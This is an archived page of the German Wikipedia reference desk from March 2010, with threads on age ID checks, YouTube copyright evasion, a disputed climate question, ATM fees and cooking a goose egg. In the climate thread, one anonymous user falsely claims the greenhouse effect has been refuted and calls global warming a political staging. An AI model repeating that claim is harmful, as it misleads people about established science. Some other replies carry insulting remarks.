Wie belieben? Wenn der Verkäufer zweifel an Deiner Volljährigkeit hat und Du ihn nicht irgendwie davon überzeugen kannst, gibts ne Alkoholdurststrecke. Wenn Dir das häufiger passiert und Du männlichen Geschlechts bist ... tja ... , wenn Du weiblichen Geschlechts bist, kannst Du dich geschmeichelt fühlen. Und das nächste mal eben etwas mitführen, das Dein Alter ausweisst. Was wolltest Du jetzt eigentlich wissen? --Dansker 15:50, 24. Mär. 2010 (CET)[Beantworten]
Ich habe mal vor langer langer Zeit den Verkauf eines nicht Jugendfreies Filmes an eine erwachsene Frau verweigert. Hintergrund war, der grenzwertig minderjährige Sohn bestellte den Hardcore-Animefilm in meinem Laden, bei der Bestellung aus dem Katalog war allerdings nur der Titel angegeben bzw. es war nicht auf dem ersten Blick ersichtlich, dass der Film unter das Jugendverbot fiel. Als der Jüngling dann 1 Woche später den Film holen wollte, prangte natürlich dick und fett das "Indiziert"-Zeichen auf der Hülle. Ich wollte natürlch sofort den Ausweis sehen, worauf er antwortete, er sei noch keine 18. Daraufhin erklärte ich ihm, ich könne den Film nicht an ihn verkaufen. Was macht der Kerl? Holt seine Mutter, und die wollte ihn kaufen. "Wollen sie etwa meinen Ausweis sehen?" Nein, meinte ich, aber ich werde ihnen diesen Film auch nicht aushändigen, weil sie ihn ihren Sohn weitergeben würden. Brachte zwar Minuspunkte bei meiner Chefin ein, aber hätte der junge Mann den Film in die Schule mitgenommen und sich erwischen lassen, was hätte er wohl gesagt? Ob er den Film von seiner Mutter oder von mir bzw. meinem Arbeitgeber erhalten hätte? Von daher verstehe ich Verkäufer, die sich sträuben, auch einen offensichtlich Volljährigen etwas zu verkaufen, wenn er keinen Ausweis hat. Denn nur dadurch kannst Du halbwegs sicher sein, nicht vor dem Kadi zu landen. --Vexillum 16:04, 24. Mär. 2010 (CET)[Beantworten]
Also ich weiß nicht, ob es in Deutschland auch so ist, aber zumindestens in österreich ist es nicht verbioten,d ass sich ein Jugendlicher einen Film anschaut, der erst ab 18 ist (außer im Kino). Er darf ihn nur nicht kaufen, aber wenn er sich den Film zusammen mit seiner Mutter anschaut oder überlässt, ist das lauft unserer gesetzgebung Privatsache und nicht verboten. Abgesehen davonb denke ich, dass es die Minuspunkte von der Chefin zurech gab, weil dei Mutter wird den Film dann halt in ienem anderen Laden besorgt ahben ohne zu sagen, dass er für ihren Nminderjährigen Nachwuchs ist. Also außer Geschäftsschädigung für die Firma hats wohl nix gebracht. --MrBurns 22:35, 24. Mär. 2010 (CET)[Beantworten]
Das finde ich sehr lobenswert, ein wenig idealistisch. Es geht aber um definitiv Volljährige, in dem Fall jemanden der noch keinen deutschen Ausweis hat, aber einen deutschen Führerschein. Die Konstellation fand ich schon komisch. Also halten wir fest, die Gesetzesgrundlage fängt an bei "Niemand 'muss' jemandem etwas verkaufen/Der Verkäufer sucht sich die Käufer aus" und der Rest ist dann nur noch Zufall oder Pflichtbewusstsein oder stereotypisch. --WissensDürster 16:13, 24. Mär. 2010 (CET)[Beantworten]
Warum sollte es ein deutscher Pass sein müssen? Auf einem andersstaatlichen Pass steht ja auch das Geburtsdatum drauf. --Sr. F 16:39, 24. Mär. 2010 (CET)[Beantworten]
Führerschein reicht Tatsachenbericht: In den USA zu einer Zeit als alles noch besser war. Eine Gruppe von Akademikern bestellt sich in einer Bar einen Pitcher Beer. Madame (die älteste in der Runde, sehr frisch nordisch aussehend) will bezahlen. Die Bedienung (ca. zw. 18 und 22) verlangt den Führerschein als Altersnachweis. Alle grinsen und Madame nestelt ihn heraus. Alter: 31. Reaktion der Bedienung:" Ooooh - MY - Gooood !" Viel Spass gehabt, an dem Abend ...;-) G! GG nil nisi bene 16:50, 24. Mär. 2010 (CET) G! GG nil nisi bene 16:50, 24. Mär. 2010 (CET)[Beantworten]
In den USA gibt es sowas wie unseren Personalausweis auch nicht. Die haben nur ihren Führerschein zum Ausweisen ... ;) --78.54.34.83 17:24, 24. Mär. 2010 (CET)[Beantworten]
Das möchte ich einmal ganz stark bezweifeln. Ich kenne da etwas im Scheckkartenformat, das sie landläufig schlicht ID nennen.
PS: „Individuals who do not drive are able to obtain an identification card with the same functionality from the same state agency that issues driver's licenses.“ gibt mir da offensichtlich recht. --Geri 01:42, 25. Mär. 2010 (CET)[Beantworten]
Das Stichwort ist state. Der Ausweis wird - wie der Führerschein - von einer Behörde des jeweiligen Bundesstaats ausgestellt und ist ein amtliches Dokument dieses Bundesstaates, und keines der Vereinigten Staaten insgesamt. Also quasi ein Landespersonalausweis und kein Bundespersonalausweis. Auf letzteren sind die Amis aufgrund Ihrer Verfassung nicht gut zu sprechen. ;-) --78.43.60.58 00:55, 26. Mär. 2010 (CET)[Beantworten]
Es ging ja wohl mehr darum, dass es in den USA auch kein Wunder ist, dass der Führerschein reicht, weil sie mehr oder weniger nichts anderes haben. In sofern hat die IP vollkommen recht. Das von dir angesprochene ist ja quasi ein Führerschein, mit dem man nicht fahren darf. Ansonsten gibt es so etwas wie eine ID in den Staaten nicht.--Don-golione 14:19, 25. Mär. 2010 (CET)[Beantworten]
Ich verstehe nicht, wieso die einen Führerschein ablehnen sollten. Es handelt sich doch beim Führerschein um ein vom Staat ausgestelltes Personaldokument. Er wird in der Bundesdruckerei hergestellt, wie auch die Geldscheine und der Personalausweis, und enthält neben einem Passbild, Angaben zum Geburtsjahr und -ort. Da hat er es schwarz auf weiß. Selbst was die Praxis angeht, hab ich noch nie erlebt, dass einem ein FS nicht Altersnachweis genug war. --KᴀᴛᴇʀBᴇɢᴇᴍᴏᴛ 19:37, 24. Mär. 2010 (CET)[Beantworten]
Ich bin kein Experte und hab keine Belege, aber ich mein Bauchgefühl würde schon sagen, dass ein Führerschein einfacher zu fälschen ist?! Das driftet zwar von der ursprünglichen Frage ab. Aber wer will, kann sich darüber gern kurz auslassen. =) --WissensDürster 20:04, 24. Mär. 2010 (CET)[Beantworten]
Glaub ich nicht. Der FS hat ja auch diesen ganzen sicherheitstechnischen Firlefanz :) Hologramm, "Silberstreifen", Einfräsungen, eingearbeitete Unterschrift usw. --KᴀᴛᴇʀBᴇɢᴇᴍᴏᴛ 20:23, 24. Mär. 2010 (CET)[Beantworten]
Ja, sagt mal, geht es um einen deutschen Personalausweis? Den hat man doch mit 16, spätestens. Und wenn man weiß (oder gerne hätte), dass man - obschon gerade 37 geworden - noch nicht ganz volljährig aussieht, dann muss man den zum Schnapskaufen eben mitnehmen - wo ist das Problem? BerlinerSchule. 21:53, 24. Mär. 2010 (CET)[Beantworten]
@ BS, es ging um noch nicht eingebürgten Einwanderer, siehe irgendwo oben. Ich sehe die Frage dann als beantwortet. Danke an alle. --WissensDürster 09:11, 25. Mär. 2010 (CET)[Beantworten]
Muss ich übersehen haben. Aber dann hat er doch einen Pass des Herkunftslandes, oder? Und auch der enthält sicherlich das Geburtsdatum. BerlinerSchule. 14:03, 25. Mär. 2010 (CET)[Beantworten]
So geht das zur Not. --Dansker 22:24, 24. Mär. 2010 (CET)[Beantworten]

Falls noch nicht erwähnt: im Rahmen der sogenannten „Privatautonomie“ bzw. konkreter „Vertragsfreiheit“ kann sich der Einzelne u.a. grundsätzlich aussuchen mit wem ein (Kauf-)Vertrag abgeschlossen wird. -- Hukukçu Disk. 16:31, 25. Mär. 2010 (CET)[Beantworten]

Beschleunigte Videos bei youtube "damit sie auch in Deutschland verfügbar sind" - Was soll das?

Hallo zusammen. Eigentlich steht die Frage schon oben, aber noch etwas ausführlicher: Ich bin bei youtube über mehrere Musikvideos gestolpert, die mit dem Hinweis "Das Video wurde etwas beschleunigt, damit es auch in Deutschland verfügbar ist" versehen waren. Wozu soll das bitte gut sein? Aus urheberrechtlicher Sicht dürfte sich doch wohl überhaupt nichts ändern. Und wenn's darum ginge, die Rechteverletzung zu verschleiern, indem man die Dateigröße bzw. die Videolänge "manipuliert", gäbe es doch wohl auch andere Möglichkeiten, und sei's nur, noch ein Standbild hintendran zu packen. Also kurz und gut: Was denken sich die Einsteller dabei? Gruß, Wiebelfrotzer 17:30, 24. Mär. 2010 (CET)[Beantworten]

Eine Thorie wäre, dass sie dadurch Algorithmen austricksen, die automatisch bestimmte urheberrechtlich geschützte Werke erkennen. Ich habe mit der Begründung auf youtube schon gespiegelte Videos gefunden. Tatsächlich waren die nichtgespiegelten alle entfernt worden. Ob die Hintergründe so stimmen weiß ich aber nicht :) --StYxXx 18:07, 24. Mär. 2010 (CET)[Beantworten]
Wahrscheinlich deswegen: PAL-Beschleunigung --K. Klammer 19:20, 24. Mär. 2010 (CET)[Beantworten]
PAL spielt bei YouTube-Videos keine Rolle, da sie weder in NTSC noch in PAL kodiert sind. Das YouTube-Format ist in Europa dasselbe wie in Amerika. --88.130.185.126 20:59, 24. Mär. 2010 (CET)[Beantworten]
So ähnlich wie Styxx hatte ich mir das auch gedacht, aber so ein Algorithmus würde ja dann vermutlich die Länge und Dateigröße scannen. Dagegen gibt's aber doch einfachere und vor allem "Benutzerfreundlichere" Mittel. Gruß, Wiebelfrotzer 21:02, 24. Mär. 2010 (CET)[Beantworten]
Ich geh mal davon aus, dass der Algorithmus Länge und Dateigröße nur teilweise in Betracht zieht und eher nach Frequenzen und Bit-Mustern innerhalb der Dateien sucht, sowie die Titel, Beschreibungen und Kommentare. --88.130.185.126 21:23, 24. Mär. 2010 (CET)[Beantworten]
Naja, Titel und Kommentare waren in dem Fall sehr aussagekräftig. Frequenz wäre aber ein Ansatzpunkt, daran hab ich nicht gedacht. Gruß, Wiebelfrotzer 21:39, 24. Mär. 2010 (CET)[Beantworten]

Was ist nicht korrekt an nachstehender Frage?

Die folgende Auskunft wurde heute von Benutzer [Kpisimon] um 12:23 von dieser Diskussionsseite entfernt, mit der Begründung, die Auskunft sei kein Diskussionsforum. Ich erbitte Hinweise warum nachstehende, m.E. seriöse [Anfrage] nicht dem Standard entspräche. Oder nutzen gewisse Kräfte ihren hierigen Einfluss zur schändlichen Missbrauchnahme, da meine Intentionen nicht ihrem Denkschema genügen?

Hier der Streitpunkt:

Frage: == Ist die Globale Erwärmung eine politisch gewollt inszenierte Unwahrheit? ==

Unzweifelhaft dessen, ob das Klima in den nächsten 20, 30, 50, 100+ Jahren 2° oder 3° kälter oder wärmer werden wird, möchte ich nicht abstreiten, dass ein Klimawandel stattfindet. Davon ausgehend, dass das Klima einen ständigen Wandel unterworfen ist, kommen mir bei der aktuellen Debatte starke Zweifel auf, ob dass denn nicht alles nur zweckhafte Inszenierung ist. > Kernaussage: Der Mensch sei am Klimawandel schuld; Akteure: ICCP("Weltklimarat"), von der These profitierende Wissenschaftler und Politiker. Die Kernaussagen und deren skeptische Begutäugung findet man hier. Dass die BRD dieser Inszenierungung ihr blindes Vertrauen schenkt und unkritisch diese Thesen übernimmt, kann man da nachlesen. Diese unreflektierte, blauäugige Betrachtung, manch hochrangigen Politikers wirkt sich dann durch solche Aktionen für den Bürger aus: [16], [17].--91.14.89.214 12:12, 24. Mär. 2010 (CET)[Beantworten]

Dein Beitrag wurde nicht von Kpisimon entfernt, sondern von Benutzer:90.128.125.4, mit der Begründung: die Auskunft ist kein Diskussionsforum. Ich habe mir daher erlaubt, diesen Beitrag komplett zu löschen. Recht hatte er. -- Martin Vogel 18:08, 24. Mär. 2010 (CET)[Beantworten]

vllt doch was zur klima-frage: ob ein klimawandel droht oder nicht, ist ja eher egal, solange die furcht davor zu kürzeren kreisläufen (also ohne faulende dinos zu bemühen) führt... dafür gab es auch ein ewig altes konzept (hab den namen vergessen... eine autarke stadt irgendwie...)... desweiteren ist der CO2 gehalt in der atemluft nicht unwichtig (ab 1000ppm darf man in schweden den arbeitsplatz verlassen)... --Heimschützenzentrum (?) 18:35, 24. Mär. 2010 (CET)[Beantworten]

Das war eben keine Frage, sondern eine als Frage verkleidete Polemik mit Tendenz Verschwörungstheorie. Rainer Z ... 19:19, 24. Mär. 2010 (CET)[Beantworten]

Nein. Jetzt endlich alles klar? -- Janka 20:23, 24. Mär. 2010 (CET)[Beantworten]

Bitte kein "herumgetroll", Benutzer "Janka", dies ist schließlich kein Diskussionsforum.--91.14.69.64 20:26, 24. Mär. 2010 (CET)[Beantworten]

Dass es eine Globale Erwärmung gibt, wird eigenlich von niemandem bestritten, die sogenannten Klimaskeptiker beschränken sich auf die Frage, ob der Mensch dafür ursächlich verantwortlich sei. Gruss, --Cú Faoil RM-RH 22:02, 24. Mär. 2010 (CET)[Beantworten]

Ich fragte oben schon mal: „Sind bald irgendwo Wahlen?“ --Geri 01:58, 25. Mär. 2010 (CET)[Beantworten]

Der Frager setzt also voraus, dass es (deutsche) Politiker gibt, die intelligent genug wären, so etwas zu inszenieren... "Er ist noch jung, oder?" "Ja."
Es ist wohl einfacher zu erklären: Es gibt Themen, denen kann sich ein (deutscher) Politiker nicht verschliessen: Klima retten, Eisbären retten, Afrika retten, "Afghanistan retten?" "Nein, das ist wieder was anderes.", weil Leute mit dem Bauch und nicht mit dem Gehirn wählen. Ein Po-liti-ker. muss gut rüberkommen und wenn er sich mit Themen assoziiert, die gut rüberkommen, färbt das auch auf ihn ab (Halo-Effekt).
Ein Wellenreiter (der die Welle nicht initiiert hat, aber sich immer die Wellen aussucht, die ihn weiterbringen) hat ein besseres Image als der Idiot, der sein Leben lang am Strand langgeht und den Müll aufsammelt, auch wenn der Surfer am Abend nicht mehr aufweisen kann, als die Erinnerung an ein paar coole Stunts.
(Kurzantwort: Ich vermute auch, dass der Frager das Thema unter VT unterbringen will). G! GG nil nisi bene 09:35, 25. Mär. 2010 (CET)[Beantworten]

diese ganze Klimadiskussion ist nur ein politischer Vorwand um noch mehr Geld in die Kassen einzelner Personenkreise zu spülen... wie kommt der Köhler dazu nach höheren Spritpreisen zu verlangen?... stellt sich mir die Frage wie ich zukünftig auf Arbeit kommen soll (keine Anbindung per ÖPNV) ohne am Ende des Monats durch diese mehrbelastung auch noch an Nahrungsmitteln sparen zu müssen... um es klarzustellen, ich bin auch für den Erhalt der Natur, aber was diese Regierung macht ist überzogener Aktionismus auf Kosten des Steuerzahlers...und die Mehrheit der Bürger hält auch noch lachend den Geldbeutel auf (in meinen Augen absolut unverständlich)..mfg 95.88.95.36 14:17, 25. Mär. 2010 (CET) ... 9.Mai Landtagswahlen in NRW[Beantworten]

Hier will doch niemand eine Ausakunft sondern etwas behaupten oder polemisieren. Die Wiki-Benutzer, die darauf bedenklos antworten, sollten sich überlegen, wie sinnvoll es ist wenn sie trolling füttern. Gruß -jkb- 14:21, 25. Mär. 2010 (CET)[Beantworten]

Scheint mir schon eine politische Inszenierung zu sein. Vor allem, da der Treibhauseffekt von wissenschaftlichen Realisten widerlegt wurde. Weitere Darstellungen zur Klimapolitik--91.14.118.235 16:25, 25. Mär. 2010 (CET)[Beantworten]
p.S an jkb und konsorten, immer ein freundlicher Ton, ein tolerantes Miteinander und keine Unterstellungen -falls du/ihr nicht selbst polemisch werden möchtet.--91.14.118.235 16:29, 25. Mär. 2010 (CET)[Beantworten]
Immerhin ist die Frage völlig ungeeignet für Wikipedia:Auskunft, da sie in diesem Rahmen nicht beantwortbar ist. Dem Fragesteller hätte das eigentlich klar sein müssen, somit liegt der Verdacht nahe. Gismatis 22:56, 25. Mär. 2010 (CET)[Beantworten]
Was verstehst du unter Rahmen (eng? begrenzt?) - dürfen deiner Meinung nach nur generelle, unzweifelhaften, normierten Fragen hier gestellt werden? --88.72.138.194 18:05, 26. Mär. 2010 (CET)[Beantworten]

Kann hier jemand russisch?

[18] --Atlan Disk. 18:36, 24. Mär. 2010 (CET)[Beantworten]

Um was geht's? Transkription des Titels? Bei dem Edit gehts um das Werk "Путь ко спасению" (zu deutsch etwa "Weg zur Errettung" oder "Weg zum Heil"). Übersetzungs- und Transkriptionsfragen sind übrigens bei der Disk. des Russland-Portals besser (oder am besten) aufgehoben. --KᴀᴛᴇʀBᴇɢᴇᴍᴏᴛ 19:45, 24. Mär. 2010 (CET)[Beantworten]
Ergänzung: Das Zeichen dass da eingefügt wurde, wird bei der wissenschaftlichen Transliteration kyrillischer Wörter verwendet. Es weist darauf hin, dass das t bei Put weich ausgeprochen wird (also nicht Putt). Auf sowas würde ich in Artikeln nur achten, wenn ich eine einheitliche Schreibweise herstellen will - ansonsten ist das nicht von Bedeutung. --KᴀᴛᴇʀBᴇɢᴇᴍᴏᴛ 20:16, 24. Mär. 2010 (CET)[Beantworten]
dann sichte ich mal. Danke. --Atlan Disk. 20:27, 24. Mär. 2010 (CET)[Beantworten]

Was ist los mit Wikipedia?

Ich habe keinen Zugang mehr zu Wikipedia, nur noch über secure.wikimedia.org/wikipedia Und das auch nur sehr langsam. Woran liegst und wann geht es wieder besser? --80.219.41.242 18:50, 24. Mär. 2010 (CET)[Beantworten]

Erholt sich offenbar gerade wieder. Scheint eine Überhitzung der Server gewesen zu sein und allerlei im Gefolge. Rainer Z ... 18:54, 24. Mär. 2010 (CET)[Beantworten]
Also ich hab auch schon seit über einer Stunde Probleme. Mittlerweile kann man ja wieder zugreifen und die Artikel zumindest in einer Rohversion ohne Bilder sehen. Das Problem scheint international zu sein. Bei Commons erhalte ich nur die Bildbeschreibung ohne Bild, wenn ich dann auf denn link zum Vergrößern klicke, sagt mir der Wirefox, dass der Server nicht verfügbar sei... --Rupert Pupkin 19:07, 24. Mär. 2010 (CET)[Beantworten]
Wikipedia:Fzw#Wird_gerade_am_Server_gebastelt.3F --91.56.141.29 21:24, 24. Mär. 2010 (CET)[Beantworten]

Wer möchte Tauschen ?!

Hallo erst mal ! Ich bin 47 Jahre alt,seit 28 Jahren verheiratet und seit 10 Jahren Pendler . Meine Frau und meine nun schon 16 Jahre alte Tochter sehe ich aller zwei Wochen für zwei Tage ,und das seit zehn Jahren ! Da ich in Hamburg für ein Sächsisches Sub-Unternehmen arbeite,werde ich nach OSTTARIEF bezahlt!Verschleiß,Reifen,Durchsichten,steigende Benzien kossten und Wertverfall laßten auf meinen Schultern ! Ich muss auch noch etwas essen,bzw. mich verpflegen ! Da bleiben gerade mal auf drei Jahre umgerechnet...etwa 650 Euro pro Monat für Für Miete,Versicherungen,und Nebenkosten was ich auf dem Konto belassen kann ! Meine Frau verdient zwischen ende Feb.-Okt.als befristete Angestellte um die 700 Euro dazu .Doch nun zum Kern der Sache !!!! In unserem Aufgang wohnen 8 Mieter.Einer davon bekommt seine Miete vom Amt.Damit ist das Amt der Mieter,und für aufgaben die sich aus dem Mietvertrag,bzw.aus der Satzung ergeben obliegen dem Mieter !Das Amt zahlt zusätzlich zur Miete, die kosten für Hausordnung,Schneeräumung,Treppenreinigung durch die AWG !!! Der Kerl ist einfach schlau ! Kann mir mal einer sagen warum ich so Doof bin ,und noch arbeiten gehe !?!?? Denk ich an Deutschland in der Nacht,dan binn ich um den Schlaf gebracht !!!! --Harryhirschl 21:03, 24. Mär. 2010 (CET)[Beantworten]

Warum erzählst du uns wieviel du für Meite udn co übrig hast, die sind uninteressant. Erzähl uns lieber wieviel du für Essen, Kultur (fällt schonmal flach, wenn das Amt zahlt, einfach zu teuer), Kleidung, etc hast, dass sind die Werte die man mit Vergleichen muss was das Amt zahlt. Bedenke, es gibt Politiker, die dir nur allzu gerne vorrechenen, dass 1,50€ pro Tag für Nahrung ausreichend sind.
Aber dein Chef findet bestimmt einen Grund dich zu feuern wenn du ihn lieb fragst, da kannste dann schauen wie luxuriös und sorgenfrei es sich lebt, wenn das Amt (erst das eine, dann das andere) zahlt. --88.130.185.126 21:20, 24. Mär. 2010 (CET)[Beantworten]
einen antrag auf grundsicherungsleistungen kann jeder beim amt stellen, der meint, dass es nich reicht... da muss man dann aber brav jeden euro einkommen angeben... dazu muss man die angeblich gesundheitsförderliche arbeit nicht aufgeben... wenn die arbeit aber (psychisch) krank macht (weil sicherheitsbestimmungen nicht eingehalten werden oder so), immer schön zum arzt und krankschreiben... --Heimschützenzentrum (?) 21:26, 24. Mär. 2010 (CET)[Beantworten]
BK:
Das Tauschangebot ist dennoch nicht ganz klar - was bietest Du, was suchst Du? Einen besseren Job wirst Du - mit Verlaub - mit der Rechtschreibung eher nicht finden. Und was soll das Heine-Zitat - dem ging es doch um die Vereinigung Deutschlands, oder? Na, und Du scheinst ja gerade unter der zu leiden.
So wahr es sein kann, dass man unter schlechten Arbeitsbedingungen, geringem Lohn und anderer Unbill leiden kann, so falsch ist es, darunter zu leiden, dass es jemand anderem - dem schlauen Nichtstuer von nebenan - nicht schlechter geht als Dir, obwohl er es verdient hätte.
Ändern kannst Du das alles, indem Du Dir einen neuen Job suchst und oder oder dem Nachbarn einen Job vermittelst, natürlich Dir einen möglichst guten und ihm einen möglichst miesen... Viel Erfolg dabei! BerlinerSchule. 21:27, 24. Mär. 2010 (CET)[Beantworten]
Richtig, ich vergaß (aber Benutzer Heimschützenzentrum vergisst das nie): Arbeiten macht immer krank. Man sollte überhaupt nicht arbeiten, sondern gleich nachdem man die Schule geschmissen hat, sich alles vom Amt holen, auf das man dann täglich schimpft. Es gibt genug Idioten, die sowohl für echte Arbeitslose als auch für faule Säcke mit arbeiten...
Wenn Du arbeitest, bis Du erstmal auf der richtigen Seite. Einen neuen - besseren - Job zu finden, ist schwer. Aber versuchen kann man es! BerlinerSchule. 21:32, 24. Mär. 2010 (CET)[Beantworten]
arbeiten macht nicht immer krank... ich kann mir gut vorstellen, dass es dem dipl(u)-inf besser geht, wenn er erstmal wieder etliche menschen von ihrer stupiden frauenmaschinen-arbeit befreit hat... --Heimschützenzentrum (?) 21:37, 24. Mär. 2010 (CET)[Beantworten]

AWG? Warum regst Dich dann auf, dann brauchst ja keine Miete zahlen. Bleib einfach daheim, und sauf Dir mit Sternburg die Welt schön. Und denke mal drüber nach, warum Du neidisch und sauer auf den Nachbarn, und nicht die Vertreter des Systems sind, die sicher wesentlich besser im Leben stehen. Ansonsten die ernstgemeinte Frage, warum Du nicht schon nach 2 Jahren mit der Familie nach Hamburg gezogen bist, schlechter als daheim kanns da kaum sein. Aber wer das mit 40 nicht packt, dem bleibt halt nur die Altersarmut in Dunkeldeutschland.78.50.142.82 23:24, 24. Mär. 2010 (CET)[Beantworten]

zur Info: Auch wenn das Amt die Kosten der Miete übernimmt, also an dich oder in Ausnahmefällen auch direkt an den Vermieter überweist, bleibst du der Vertragspartner deines Vermieters und alle Rechte und Pflichten die sich aus dem Mietvertrag ergeben liegen bei dir. --Da7id 06:31, 25. Mär. 2010 (CET)[Beantworten]

"‘Multiple exclamation marks‘", he went on, shaking his head, "‘are a sure sign of a diseased mind‘." [19] --Ian DuryHit me 13:29, 25. Mär. 2010 (CET)[Beantworten]

Verständnisfrage zu einer Pressemeldung

"Wer an einem fremden Geldautomaten abhebt, soll nach den Plänen der deutschen Banken künftig eine einheitliche Gebühr zahlen. Nach dpa-Informationen soll für eine Übergangszeit ein festgesetzter Betrag als Kundengebühr gelten - eine Höhe zwischen 5 und 7 Euro gilt hierbei als möglich. Nach der Übergangszeit soll sich der Betrag am Markt bilden." (Kursive von mir) Frage: Wie? 85.180.201.217 21:34, 24. Mär. 2010 (CET)[Beantworten]

Es geht ja um's Abheben an fremden Automaten - an denen der eigenen Bank ist es in der Regel kostenlos. Die Bank verdient also an Fremdkunden. Nimmt sie zuviel, gehen die zum Automaten der Konkurrenz. Nehmen sie zuwenig, verdienen sie nichts dran. Wenn es keine Absprachen zwischen den Banken gibt, der Wettbewerb um die Fremdkunden also funktioniert, dann bildet sich tatsächlich ein Marktpreis, bei dem die Bank genug dran verdient und der Fremdkunde nicht abgeschreckt wird. --Snevern (Mentorenprogramm) 21:41, 24. Mär. 2010 (CET)[Beantworten]
BK:
Theoretisch so:
Jeder Bank entstehen tatsächlich Kosten, wenn Fremdkunden abheben. Aber die Kosten sind vermutlich weit niedriger als die angegebenen 5 bis 7 Euro. Nun gibt es (vereinfacht) eine Bank A, die nach dem Discounterprinzip den Preis dicht an den Kosten hält. Nehmen wir an, die Kosten betragen 2 Euro. Und die Bank A verkauft die Serviceleistung für 2,50 Euro an die Fremdkunden weiter. Vielleicht versucht sie auch ihre Kosten zu reduzieren und bei Kosten von 1,50 Euro verlangt sie nur noch 2 Euro. Die Bank B ist a bisserl arroganter, steht spät auf, denkt, dass der Kunde ohnehin oft keine Wahl hat, drückt auch die eigenen Kosten nicht, die weiterhin bei 2 Euro liegen, und stellt den Fremdkunden 5 Euro in Rechnung. Nicht alle Kunden werden sich an den Kosten orientieren, manchen ist es egal, die wollen nicht extra 500 Meter weiterlaufen oder 5 km weiterfahren, andere können es nicht (alte Leute, im Dorf...). Aber viele schauen auf den Preis und heben, immer wenn es möglich ist, vom Geldautomaten der Bank A ab und nicht von dem der Bank B. Bank A hat damit noch mehr Fremdkunden, tendentiell sinken deren Kosten (weil sie sich auf mehr zahlende Kunden verteilen), irgendwann kann Bank A den Preis auf 1,50 senken, verdient aber immer noch etwas daran, weil inzwischen sehr viele Kunden bei ihr abheben. Bei Bank B geschieht das Gegenteil. So etwa funktioniert Wirtschaft. Wenn sie funktioniert. Tatsächlich sitzen die Banker A und B (mit ihren Kumpels C und D) jetzt vielleicht schon beim Bierchen und einigen sich auf 8 Euro... Schade, dass die FDP abgeschafft wurde... BerlinerSchule. 21:45, 24. Mär. 2010 (CET)[Beantworten]
Ja, aber es soll doch am Ende eine einheitliche Gebühr herauskommen. Wenn der Markt das regelte, dann würde er es doch auch jetzt schon regeln, oder? Wieso dann der Umweg über eine temporäre Einheitsgebühr, die dann wieder abgeschafft wird (?)? Sorry, ich hab's immer noch nicht kapiert. 85.180.201.217 21:55, 24. Mär. 2010 (CET)[Beantworten]
Wohl eher so.--MKP:W  21:59, 24. Mär. 2010 (CET)[Beantworten]
Siehe dazu auch Cournot-Oligopol, der Markt kann das so nicht regeln. Nur mit steigender Anbieterzahl bewegt sich der Marktpreis in Richtung Grenzkosten. Da das aber unwahrscheinlich ist, muss sowas gesetzlich geregelt werden und zwar wie folgt, dass die Verrechnung unterhalb den Banken und der Geldautomatenbetreiber den realen Kosten entsprechen muss und es keine Strafzoelle geben darf. Dann waeren ratz fatz alle Geldautomaten wieder kostenlos.--MKP:W  22:06, 24. Mär. 2010 (CET)[Beantworten]
BK:
Wenn es wirklich ein Markt ist, bleibt die Gebühr nicht dauerhaft gleich. Sie mag sich annähern, so wie ALDI und Lidl die Preise der Supermärkte runtergezogen haben, aber es wird immer Unterschiede geben. Einheitlich entweder durch Vorschrift oder durch Kartell. BerlinerSchule. 22:01, 24. Mär. 2010 (CET)[Beantworten]
Das ist ein Konkurrenzkampf gegen die billigen Direktbanken, die ebenfalls Karten herausgeben aber keine eigenen Automaten betreiben, also diese Kosten einsparen. Wohl kann man aus Kartellrechtlichen Gründen diese Karten am Automaten nicht sperren, wohl aber mit Gebühren belasten, die man aber dann generell und untereinander erheben muß. Die z.B. kostenlose Abhebung unter den Banken alleine ist als technischer Arbeitsverbund kartellrechtlich in Ordnung/genehmigt. So eiert man mit Gebühren untereinander herum, anstatt nur die Direktbankenkarteninhaber belasten zu können. Das mit dem Marktpreis ist eine Augenwischerei und ist wohl so zu verstehen dass die direkten Kosten der Automaten wohl jetzt ermittelt und auf den Kunden umgelegt werden sollen. D.h., das was mal als Rationalisierungsmaßnahme einsparend mit Verlust von Arbeitsplätzen und persönlichen Service bezahlt wurde, wird zu einem weiteren Gewinnbringer. Bank/Sparkasse müsste man sein.--91.56.212.217 08:30, 25. Mär. 2010 (CET)[Beantworten]
@IP, das trifft den Nagel schon eher. Obwohl die Kosten ja schon klar sind, liegen so rund bei 60Cent. Finde ich witzig, dass in Deutschland jeder klagt wegen den Gartenzwergen im Garten des Nachbarn, aber wenn es um Wucher oder Sittenwidrigkeit geht, kriegen die Verbraucherschuetzer den Arsch nicht vom Hocker, nein da zementiert die Politik den Banken eine Rendite bei einer Gebühr von 4,50 Euro von 750 Prozent. Good times --MKP:W  13:40, 25. Mär. 2010 (CET)[Beantworten]

[Wieder vor)Nur mal so: Ist allen klar, daß momentan die Gebühren, die ich als Kunde bei einer fremden Bank zahle, von MEINER Bank festgelegt werden? Soll dieses Konzept geändert werden? --Erastophanes 16:35, 25. Mär. 2010 (CET)[Beantworten]

Gänseei

wie lange muss man ein Gänseei kochen? --62.226.102.71 21:48, 24. Mär. 2010 (CET)[Beantworten]

Blond? Bis es weich wird...
Sonst bis es hart wird. BerlinerSchule. 21:56, 24. Mär. 2010 (CET)[Beantworten]
würde mich über etwas mehr iq freuen...--62.226.102.71 21:58, 24. Mär. 2010 (CET)[Beantworten]
Nachdem ein Gänseei eher größer als ein Hühnerei ist, ist die Kochzeit wahrscheinlich länger als für ein Hühnerei. Ein Hühnerei dürfte nach allerspätestens 7 min bockelhart sein. Rechne mal mit 10 min und probier es aus. Länger kochen schadet im Prinzip nicht, es sei denn, man mag Eier nur wachsweich. Die Kochzeit dafür könntest du dann, wenn du mehrere Eier zur Verfügung hast, durch Ausprobieren rausfinden. --Sr. F 22:03, 24. Mär. 2010 (CET)[Beantworten]
Hier steht's. Gruss, --Cú Faoil RM-RH 22:11, 24. Mär. 2010 (CET)[Beantworten]
BK:
Also doch blond?
Aber mal im Ernst, ich würde mal in einem guten Kochbuch nachschauen (Du merkst, ich bin zwar nicht richtig dunkelhaarig, aber doch so in der Mitte, dunkelblond heißt das...). Und im Notfall probieren, vielleicht doppelt so lange wie ein Hühnerei? Die Frage ist aber schon a weng blond, weil ja bei Hühnereiern feste Größenkategorien existieren, während Du hier einfach ein Gänseei aufschlägst, ohne die Größe anzugeben... 140 Gramm? 150? 160? BerlinerSchule. 22:14, 24. Mär. 2010 (CET)[Beantworten]
